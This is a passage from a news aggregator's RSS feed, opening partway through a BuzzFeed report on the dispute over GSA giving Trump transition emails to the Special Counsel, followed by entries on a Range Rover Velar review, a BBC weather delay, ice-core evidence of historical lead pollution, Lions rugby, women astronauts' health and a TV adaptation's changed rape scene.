Langhofer claims the production of transition materials to the Special Counsel’s Office by GSA violated “GSA’s duties to” the Trump campaign, a Presidential Transition Act requirement that “computers or communications services” to the transition team be “secure,” and the Fourth Amendment. (At the same time, however, Langhofer makes clear he believes the current law should be changed “to protect future presidential transitions from having
their private records misappropriated by government agencies.”)

The letter also makes a specific claim about communication between the government and the campaign — that Richard Beckler, then the general counsel of the GSA, “acknowledged unequivocally to [the Trump campaign’s] legal counsel” in a June 15 discussion that the Trump campaign “owned and controlled” emails, and that “any requests for the production of PTT records would therefore be routed to legal counsel for [the Trump campaign].”

Langhofer puts much of the blame for the move on a career government employee, GSA Deputy Counsel Lenny Loewentritt, who he says was present for those assurances. (Beckler “was hospitalized and incapacitated” in August, according to the letter, and has since died.)

“Career GSA staff, working with Mr. Loewentritt and at the direction of the FBI, immediately produced all the materials requested by the Special Counsel’s Office – without notifying TFA or filtering or redacting privileged material,” Langhofer writes.

In a phone interview with BuzzFeed News on Saturday night, Loewentritt disputed the claims made in the letter sent by the Trump campaign.

“Beckler never made that commitment,” he said of the claim that any requests for transition records would be routed to the Trump campaign’s counsel.

Specifically, Loewentritt said, “in using our devices,” transition team members were informed that materials “would not be held back in any law enforcement” actions.

Loewentritt read to BuzzFeed News a series of agreements that anyone had to agree to when using GSA materials during the transition, including that there could be monitoring and auditing of devices and that, “Therefore, no expectation of privacy can be assumed.”

Loewentritt told BuzzFeed News that the GSA initially “suggested a warrant or subpoena” for the materials, but that the Special Counsel’s Office determined the letter route was sufficient.

As to whether the Trump campaign should have been informed of the request, Loewentritt said, “That’s between the Special Counsel and the transition team.”

A spokesperson for the Special Counsel’s Office declined to comment on the initial Axios report about the emails and did not immediately respond to a follow-up request for comment about claims made by Langhofer and Loewentritt.

Chris Geidner is the legal editor for BuzzFeed News and is based in Washington, DC. In 2014, Geidner won the National Lesbian & Gay Journalists Association award for journalist of the year.

Contact Chris Geidner at chris.geidner@buzzfeed.com.

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]]> https://briefnews.eu/so-were-back-to-emails-%f0%9f%93%a9/feed/ 0 20 Parents Who Are In 3017 While We're In 2017 https://briefnews.eu/20-parents-who-are-in-3017-while-were-in-2017/ https://briefnews.eu/20-parents-who-are-in-3017-while-were-in-2017/#respond Sat, 09 Dec 2017 21:02:48 +0000 http://briefnews.eu/20-parents-who-are-in-3017-while-were-in-2017/ [unable to retrieve full-text content]

Parents are the kings/queens of 3017.

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]]> https://briefnews.eu/20-parents-who-are-in-3017-while-were-in-2017/feed/ 0 2018 Range Rover Velar Drivers' Notes | Don't worry, we're in no hurry https://briefnews.eu/2018-range-rover-velar-drivers-notes-dont-worry-were-in-no-hurry/ https://briefnews.eu/2018-range-rover-velar-drivers-notes-dont-worry-were-in-no-hurry/#respond Fri, 10 Nov 2017 17:29:50 +0000 http://briefnews.eu/2018-range-rover-velar-drivers-notes-dont-worry-were-in-no-hurry/

Few vehicles on the road provide as much versatility as a Range Rover. Products from the British automaker provide luxury, fantastic styling and unparalleled off-road capabilities for a vehicle in this class. Though each model tends to stay on the market longer than some competition — the first-gen model was on sale from 1970 until 1996 — they somehow avoid feeling long in the tooth. The 2018 Range Rover Velar is the new kid on the block, and it might just be the company’s best-looking vehicle yet.

The Velar is based on the Jaguar F-Pace and slots between the compact Range Rover Evoque and Range Rover Sport, though it’s within spitting distance of all of the Sports’ dimensions. It shares three of the F-Pace’s four engine options – a 247 horsepower 2.0-liter turbocharged gasoline engine, a 180 horsepower 2.0-liter turbocharged diesel engine and a 380 horsepower 3.0-liter supercharged V6, the latter of which comes in our long-term 2018 Jaguar F-Pace. A base Range Rover Velar rings in at just over $ 50,000, though our mid-tier R-Dynamic D180 HSE adds in quite a few options like Byron Blue paint, a blackout package, a convenience package and four-zone climate control.

Associate Editor Reese Counts: The Velar is a stunner. I like the styling of the current Range Rover lineup — hell, I like the styling of every Range Rover product — but the Velar somehow seems to still stand out. It’s Range Rover distilled and looks like a concept car by comparison, similar to the feel you get looking at the Lexus LC 500. The high belt line, thin lights, blue paint and black trim on our test car all give this a muscular, sporty yet clean look. It’s handsome without having to really try hard with superfluous lines or cladding. It just looks good.

The same is true of the interior. Lots of leather and wood accent a simple and clean design. Nearly all Land Rovers and Range Rovers look the same behind the wheel, but the Velar’s new two-tier center stack sets it apart. it combines the traditional infotainment screen with a second screen for climate and drive settings. That second screen just flows into the console. It’s pretty, even if it does mean there are fewer real buttons. My biggest complaint here is that it doesn’t dim quite dark enough at night.

We have to talk about this engine. It’s not good, at least not here. It simply doesn’t have enough power for American roads. 180 horsepower and 317 pound-feet of torque may be fine for smaller cities or smaller vehicles, but it feels gutless and anemic running around Detroit. After the initial burst of torque, it falls flat on its face. You’re pushing the pedal to the floor and hoping the driver in the lane over sees your white knuckles wrapped around the wheel. I like diesels, I just wish this had the bigger V6 diesel from other Range Rovers.

Still, I like the Velar. A lot. A lot-lot. Like, all the lots. At $ 75,415, its about $ 1,000 more expensive than our F-Pace. From behind the wheel, it feels like you’re getting $ 10,000 more car. It just looks and feels nicer. It’s not as sharp, but I’m not looking for an SUV to be a sport sedan. I’d take the off-road capabilities over the F-Pace’s sharp dynamics any day, even with the dead weight resting under the hood. The biggest competition I see is the current Discovery. It’s nearly as new, though it doesn’t have as nice of an interior. That said, it does get the V6 diesel, and you get to use the term Disco in casual conversation. Velar just doesn’t have the same ring.

Senior Producer Christopher McGraw: When I got in the Velar this morning, it was 10 degrees out. I turned on the heated seat and steering wheel, and by the time I was turning out of my sub, I was warm. The Velar is incredibly comfortable, and looking around the ivory leather-filled interior, it feels premium. The two-screen infotainment system is fairly easy to use, though much like the infotainment system in our long-term Jag F-Pace, it was a little slow to get going this morning. That, and a quick drive with the cleanest of hands will leave fingerprints and smudges all over what was once a handsome, glossy touchscreen.

Outside, the Velar is gorgeous. I have said before that our F-Pace S is the best looking SUV on the market. The Velar might be its closest competition.

The biggest drawback is the 180-horsepower diesel engine. Lethargic is an understatement. Even in sport mode, accelerator reaction time is slow, and this configuration is anything but quick. That said, there are two gas variants that provide more power that I am eager to test.

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]]> https://briefnews.eu/2018-range-rover-velar-drivers-notes-dont-worry-were-in-no-hurry/feed/ 0 BBC weather: Carol Kirkwood’s forecast POSTPONED because of THIS – ‘We're waiting for you' https://briefnews.eu/bbc-weather-carol-kirkwoods-forecast-postponed-because-of-this-were-waiting-for-you/ https://briefnews.eu/bbc-weather-carol-kirkwoods-forecast-postponed-because-of-this-were-waiting-for-you/#respond Wed, 16 Aug 2017 07:13:25 +0000 http://briefnews.eu/bbc-weather-carol-kirkwoods-forecast-postponed-because-of-this-were-waiting-for-you/

Viewers were left waiting for the 55-year-old to deliver the morning forecast but BBC Breakfast was hit with a techincal glitch. 

Those watching at home were shocked to hear presenters Louise Minchin and Dan Walker announce Carol’s segment would be postponed due to problem with the graphics. 

One person wrote on Twitter: “Shock. Horror. Switched on to hear @louiseminchin saying @carolkirkwood is no longer with us #bbcbreakfast Relieved to hear it’s temporary!”

Another wrote: “@carolkirkwood good morning Missy we are all waiting patiently for you to grace our TV screens.”

A third said: “@carolkirkwood getting later with the first forecast Carol?”

When Carol was able to present the weather later in the programme, she told viewers it will be dry across the UK but there will be some rain in Northern Ireland this morning. 

Through the course of the day, the rain will develop across the south west and north west of England, Wales and Scotland.

Further central and southern parts of England will remain dry and feel quite pleasant with highs up to 23 degrees celsius. 

Tonight, the rain will push eastwards with some of the rain becoming very heavy and temperatures in towns and cities will range between 14 and 16 degrees celsius.

Tomorrow, there will still be some wet weather in the south east of England and further showers will develop across the UK.

BBC Breakfast continues weekdays at 6am on BBC One. 

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]]> https://briefnews.eu/bbc-weather-carol-kirkwoods-forecast-postponed-because-of-this-were-waiting-for-you/feed/ 0 We're Already Lead https://briefnews.eu/were-already-lead/ https://briefnews.eu/were-already-lead/#respond Sun, 09 Jul 2017 21:31:35 +0000 http://briefnews.eu/were-already-lead/

People have been getting poisoned by lead in the air for at least two millennia, according to a new study analyzing an ice core extracted from a glacier in the Swiss Alps.

Only the Black Death, the most devastating plague in human history, briefly returned atmospheric lead to its natural level of undetectability in the 1300’s. The ice core also documents the sharp spike in atmospheric lead in the 20th century that peaked in 1975, when clean air laws began mandating the removal of lead from gasoline.

“In reality, there is no safe blood lead level,” lead study author Alexander More of Harvard’s Initiative for the Science of the Human Past told BuzzFeed News. “This study shows we almost never lived in some idyllic pre-industrial nature where there wasn’t lead pollution.”

This historical finding matters because public health agencies have been steadily marching the “safe” blood lead levels downward over recent decades, epidemiologist Philip Landrigan of Mount Sinai Hospital, who was not part of the study, told BuzzFeed News. Improved tests have shown lead has negative effects on IQ and health, he noted, even at levels once considered low. What’s more, incidents of lead poisoning in water, such as the catastrophe in Flint, Michigan, have raised pressure for examining the effects of lead when many might be unwittingly exposed.

Findings that point to the real, natural level of lead in the atmosphere being zero, he argued, add weight for cutting allowable levels — halved to 5 micrograms per deciliter in children’s blood by the US Centers for Disease Control and Prevention in 2012 — even further. Since there is no natural level of lead, and we are apparently the ones responsible for what lead there is in the air, that means we should be getting lead levels as close to zero as possible, Landrigan argued.

“I think it is a very cool study, they are seeing lead levels on an almost daily basis stretching back for centuries,” he said.

People have been mining and smelting lead for 6,500 years. To help take an atmospheric look at this history, glaciologists on the study team drilled 236 feet into the glacier on the Swiss-Italian border and retrieved the ice core, a compressed record of snowfall and lead deposition on the glacier for the last 2,000 years.

In the lab, a laser burned off microscopic slices of a sample of the ice core. Each slice was chemically analysed, sometimes delivering up to 300 lead measurements a year from the glacier, which dated at its base — the oldest segment of ice — back to about 1 AD.

“It’s an an amazing effort,” toxicologist Steven Gilbert of the Institute of Neurotoxicology and Neurological Disorders told BuzzFeed News. “That is a super refinement and a big amount of data.”

While past studies of Peruvian mummies have pointed to similar contrasts between a natural level of lead — a 1979 study found blood lead levels from 1600 years ago that were 700 times lower than modern ones — an ice core provides a much better survey of the historical atmosphere, said Gilbert.

The most surprising finding for the researchers was the sharp drop to undetectable lead levels from 1349 to 1353, which historians on the team knew was the height of the Black Death in Europe, when the plague killed 30% to 50% of the population.

“We looked at the drop and said, ‘look at that, why does it drop so sharply?’ Then we identified the date.” More said. “Well, that was the largest pandemic that ever hit Eurasia.”

Lead mining — along with practically everything else — stopped when the plague reached its peak in Italy, Germany, and England, countries that had previously been centers of the industry. (There was no need for lead seals or in silver coins with society collapsing.) A labor shortage made lead mining, famously dangerous work, unpalatable as well.

By 1400, with lead mining resumed, the lead levels in the air recorded by the ice core resumed their old levels. The data also shows declines in atmospheric lead tied to market crashes in 1460 and 1885.

“The history and the science all came together very nicely,” More said.

One lead expert contacted by BuzzFeed News, Kim Dietrich of the University of Cincinnati, suggested that findings of continuous lead in the atmosphere for 2000 years would be unsurprising, given the history of mining. While lead pollution is terrible in Africa, China, and India, as well as in disasters like Flint, he didn’t see its long history as an argument for further lowering lead safety standards for children.

“I just don’t see likely long term effects in children from levels lower than the current CDC limits,” he said.

Gilbert, however, has called for lowering the level to 2 micrograms per deciliter in children’s blood, arguing that studies find deleterious effects from lead at every level. “There’s no good biological use for lead. The (ice core) study underlines that we really haven’t evolved defenses to it for most of our history.”

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]]> https://briefnews.eu/were-already-lead/feed/ 0 Lions star Connor Murray warns New Zealand: We're even better now than Australia Test win https://briefnews.eu/lions-star-connor-murray-warns-new-zealand-were-even-better-now-than-australia-test-win/ https://briefnews.eu/lions-star-connor-murray-warns-new-zealand-were-even-better-now-than-australia-test-win/#respond Sat, 24 Jun 2017 00:36:14 +0000 http://briefnews.eu/lions-star-connor-murray-warns-new-zealand-were-even-better-now-than-australia-test-win/

The long-awaited series finally kicks off in New Zealand’s Holy of Holies with the Lions, roared on by 25,000 travelling fans, believing they can shock the sporting world.

“We’ve all played at Eden Park and we know how tough it is to win here. It is a really impressive record but if there ever was a team that has the potential this is it. If we click, we’d be excited about what we can do,” said Lions scrum-half Conor Murray.

“The series win [in Australia] four years ago gives us a little bit of confidence. We know this is a completely different kettle of fish but we know that we can do it.

“The potential in the squad is probably greater than it was in 2013. That is really exciting and all the lads know that. They are looking forward to getting started.”

There are many reasons why the Lions are outsiders, not least the fact that this XV has never played together before, but they fancy their chances of springing a surprise.

“Test match rugby is about winning and we feel we have Test match animals,” said Lions attack coach Rob Howley. “The confidence of the players has shown in training. They believe they can win.”

Murray was part of the Ireland team that defeated the All Blacks in Chicago last November and his message to the Lions has been to fight fire with fire against the world’s best attacking side.

“One of the main things for me is that you’ve got to be confident and willing to play rugby against the All Blacks,” said Murray.

“In 2013 in Dublin, we got quite a good lead and then we probably panicked a bit and tried to maintain that lead and hold out whereas the Chicago game taught us you’ve got to keep playing, you’ve got to keep attacking – not go into your shell. Decision-making, execution of game plan, all those things come into it too but for me the main thing to do is keep playing.”

New Zealand go into the game as strong favourites – and deservedly so, according to captain Kieran Read.

“We will go out there and expect to win, as probably everyone in New Zealand will expect us to win,” said Read, who will wear a protective guard around the thumb he broke eight weeks ago. “But we have got to make sure we go out there and do that – it doesn’t just happen.

“It will be an enthralling contest. I can’t wait to get involved. They have their best players from across the four teams and they play their own style but a Test match is about who is willing to put their body on the line for the longest. We are willing to go there for 80 minutes.

“We play across the venues in New Zealand but this is probably the one we feel the most at home at.”

The Lions are rightly wary of the potency of the All Blacks and have set themselves a target of conceding fewer than eight penalties in the game to restrict New Zealand’s opportunities.

“Discipline is a huge part. If we’re able to keep our discipline and our defensive line and be clinical then we have a great opportunity,” said Howley.

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]]> https://briefnews.eu/lions-star-connor-murray-warns-new-zealand-were-even-better-now-than-australia-test-win/feed/ 0 We're Ignoring Women Astronauts' Health At Our Peril https://briefnews.eu/were-ignoring-women-astronauts-health-at-our-peril/ https://briefnews.eu/were-ignoring-women-astronauts-health-at-our-peril/#respond Sat, 13 May 2017 14:38:37 +0000 http://briefnews.eu/were-ignoring-women-astronauts-health-at-our-peril/
Image: Peggy Whitson/NASA Johnson via Flickr

WASHINGTON, D.C.—It’s 7pm, and the Lisner Auditorium at George Washington University, which was packed with investors, aerospace tycoons, and scientists just hours ago, has dwindled to a dedicated few. It’s a very different crowd than the folks who came earlier in the day to watch Buzz Aldrin and other space veterans speak—for one thing, a group of Girl Scouts has crowded the front row. For the first time all day, two women have taken the stage at the Humans to Mars summit in Washington, D.C.

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And that’s part of the problem.

In 59 years, NASA has flown more than 50 women into space. That might seem like a reasonable number, but when you consider the space agency has flown hundreds of men over the same time period, it’s a tad unsettling. If we ever want to actually colonize a planet like Mars, we’re going to have bring hundreds of women, or thousands. Which is why women at the Human to Mars conference gathered in a sparse auditorium at the end of the day to discuss how critical it is to fly more female astronauts, and study how they respond physically and mentally to the challenges of zero gravity.

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“We don’t have as big of a database of women [astronauts], so it’s always a little harder to get statistical data, but we do see differences” in how men and women are affected by spaceflight, Ellen Stofan, former chief scientists at NASA, told Gizmodo at the summit. “It’s important not just to have a woman spend an extended time in space, but to have multiple more subjects.”

At this point, we are just starting to learn how long duration spaceflight affects the human body. Numerous studies confirm that people experience bone mass loss and muscle wasting in space, for example. That’s why astronauts exercise for about two hours a day, which still may not be enough to counteract the inevitable effects of microgravity. Researchers at the University of Michigan are investigating why astronauts’ brains change shape during spaceflight—they’ve already found that the volume of gray matter fluctuates during short and long duration missions.

Photo: NASA via AP

One of our richest sources of data so far comes from NASA’s Twin Study, which analyzed astronaut Scott Kelly during a year in space, comparing his health to that of his brother, former astronaut Mark Kelly, back on Earth. So far, the Twin Study has taught us that extensive travel impacts the body in unexpected ways. For example, the protective caps on Scott’s chromosomes, called telomeres, grew while he was in space, returning to pre-flight levels shortly after he returned to Earth. Scientists are still trying to understand what this means, as there’s some concern that telomere lengthening is associated with disease. Other scientists in NASA’s Human Research Program are analyzing fluid and tissue samples collected before, during and after Kelly’s Year in Space, to tease out potential changes in his immune system, gut bacteria, and cardiovascular function.

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There’s no Twin Study for women. But from what we do know, we can’t assume what applies to men always applies to women. One study published in the Journal of Women’s Health in 2014 notes that women reach a maximal number of safe days in space earlier than men because they have a “higher incidence of radiation-induced cancers” like lung, thyroid, breast and ovarian. At a Humans to Mars conference panel on sex and gender in space, researchers reiterated that women’s reproductive organs may be more sensitive to the radiation exposure of spaceflight than men’s.

The little data we have from women astronauts points to other unexpected differences between the sexes—for instance, a mysterious eye condition called visual impairment intracranial pressure syndrome (VIIP) appears to be more prevalent in male astronauts, Stofan told Gizmodo. Preliminary research suggests that female astronauts may be more susceptible to urinary tract infections while in space, and orthostatic intolerance following their return to Earth, compared with their male counterparts.

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It’s hard to say just how important these differences are. Some, even some women astronauts, think they aren’t. “We study astronauts as a population, and we certainly have a number of women in that population, and while there may be small differences, there really are not large, driving differences there,” NASA astronaut Kate Rubins told Gizmodo.

Others would contend that those differences are very important, but the reality is, we won’t know for sure until we get more women on crews. Frustratingly, that’s been a challenge from day one.

On June 16, 1963, Soviet cosmonaut Valentina Tereshkova became the first woman in space. Her three-day sojourn was short but profound, orbiting the planet 48 times before finally returning to Earth. Despite numerous trips into orbit and even to the Moon, it took the United States another 20 years to send its first woman into space. Even then, Sally Ride had to navigate through the boys’ club NASA was at the time—in a now-infamous incident, engineers once offered her 100 tampons for a seven-day trip.

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Today, the gender ratio remains pretty skewed—Of NASA’s 44 active astronauts, just 14 are women. Of the six NASA astronauts currently aboard the ISS, just one—Peggy Whitson—is a woman. This is despite the fact that more women than ever are applying to become astronauts.

To date, not a single woman astronaut has traveled beyond low Earth orbit.

Image: NASA/NSBRI

While there’s no conspiracy keeping women out, implicit bias poses a real barrier for women pursuing careers in STEM. Research suggests that as early as elementary school, girls are discouraged in their math and science classes. Even if they’re able to clear hurdles in their early academic careers, women scientists are more likely to bediscriminated against by professors and employers. Sound familiar?

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“It’s a big frustration of mine, in terms of it being a pipeline problem,” Stofan told the audience at Humans to Mars. “It’s one thing to say, ‘Oh, let’s have programs where we encourage girls and people of color to go into STEM,’ but then if they go into a STEM environment…we see the numbers decline again. It’s not enough to open the door, you have to make people feel welcome.” The fact that very few women were found on panels at Humans to Mars only served to reinforce her point.

Luckily, the next generation of women in space exploration is keen on going further than their predecessors, both literally and figuratively. Some aspiring astronauts, like Abigail Harrison, have been publicly advocating the need to fly more women. In Harrison’s mind, the psychological effects of space travel on women are as understudied—and important—as the physical effects.

Sally Ride (right) stands among other members of NASA’s first all-women astronaut class. Image: NASA

“One of the ways we could really benefit from having a woman in space long-term—multiple men and multiple women—is looking at mental health,” Harrison told Gizmodo. “We know women and men are socialized differently in society, and that does affect the way they react to things like separation anxiety, being in confined spaces, and ability to work in teams.” NASA’s Hi-SEAS experiment is taking a first step toward understanding the psychological effects of a trip to Mars, by isolating groups of men and women in a sealed dome on the slopes of a barren Hawaiian volcano to see how they work and live together. So far, the results have been promising.

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Ultimately, the way forward is to fly more women astronauts, and study them. Of course, there’s another critically reason for sending more women into space, beyond expanding our understanding of human biology.

“If we don’t include women in the equation, we’re taking away 50 percent of the brainpower and the creativity and everything you need in order to continue innovation forward,” Harrison said.

NASA scientist Robert Moses echoed this sentiment more bluntly.

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“On a missions to Mars? We’re going to have our Apollo 13,” he told Gizmodo. “Who do you want in the room—room full of middle aged white men? You want women and women. You want as many heads together solving that problem.”

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]]> https://briefnews.eu/were-ignoring-women-astronauts-health-at-our-peril/feed/ 0 White Princess EP Defends Changing Book's Rape Scene in Premiere: 'No Way We're Putting That on Screen' https://briefnews.eu/white-princess-ep-defends-changing-books-rape-scene-in-premiere-no-way-were-putting-that-on-screen/ https://briefnews.eu/white-princess-ep-defends-changing-books-rape-scene-in-premiere-no-way-were-putting-that-on-screen/#respond Mon, 17 Apr 2017 01:39:20 +0000 http://briefnews.eu/white-princess-ep-defends-changing-books-rape-scene-in-premiere-no-way-were-putting-that-on-screen/

Those who read Phillippa Gregory’s novel The White Princess and watched the premiere of Starz’s adaptation of the book on Sunday likely noticed something quite different about Henry and Lizzie’s charged first coupling.

In Gregory’s work, “Henry very actively rapes Lizzie,” executive producer Emma Frost tells TVLine. “That was something that I felt wasn’t the only possible route and wasn’t something that I feel is right for a TV drama, and isn’t something a 21st century female audience is going to be okay with on any level.”

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The premiere of the historical drama — a sequel to the network’s The White Queen — introduced Jodie Comer (My Mad Fat Diary) as Elizabeth of York, a princess whose marriage to the new King Henry VII (newcomer Jacob Collins-Levy) united England during the Wars of the Roses. History tells us that Elizabeth, known as Lizzie, gave birth eight months after wedding the king, so… do the math.

“To most people’s minds you go, ‘OK, they had sex, it’s unlikely to have been consensual sex because she absolutely hated him and everything he stood for,” Frost explains. “She’s concerned his mother has murdered her brother, so she hates him.”

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Indeed, the series depicted Henry as yanking Lizzie into his bedroom in anger on the occasion of their first true meeting. But the young woman — who, Frost points out, at this point in her life had already had “an intimate, loving relationship” with Richard III — quickly turned the tables, mocking her inexperienced future husband and clearly giving him consent to do whatever he liked with her, because he’s not likely to impress her. Later, a troubled Lizzie confided in her mother that the situation was upsetting, but not a matter of sexual violence.

“The show is about power, and in that scene, Lizzie uses the power that she has to humiliate him,” the EP says. “The way that I see it is that it’s Henry that comes away feeling just as raped as Lizzie does, because he’s acting on his mother’s instructions [to make certain that Lizzie is fertile]… he hasn’t really thought it through. Then Lizzie goes, ‘Are you f—king kidding me? Really?!”

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Plus, a point made very clear in the series’ first hour is very much at work in the scene: Lizzie is, above all, very politically savvy.

“What she knows is, she has got to marry him,” Frost points out. “If she doesn’t make this work on her own terms, she might find it’s not on her own terms later on.”

Also of importance, the EP says: For Lizzie and Henry to work as the lead couple in the series, audiences kinda have to like him. And reconciling the book’s rape scene with that dramatic reality gave Frost pause when she was first asked to adapt Gregory’s novel.

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“When you read the novel, it’s something that you go, ‘Oh OK, there’s a very, very clear rape scene in it, and we have to fall in love with Henry later, and that’s not going to fly,” she says. “And as a responsible TV producer as well, in the world that we’re in, with women’s rights being eroded, there’s no way we’re putting that on screen.”

She adds: “I do think it’s rare to show a female character using her power and her sexuality to fight back, and I think that’s very much what Lizzie does in that scene.”

What did you think of The White Princess‘ premiere? Grade the episode via the poll below, then hit the comments with your thoughts.

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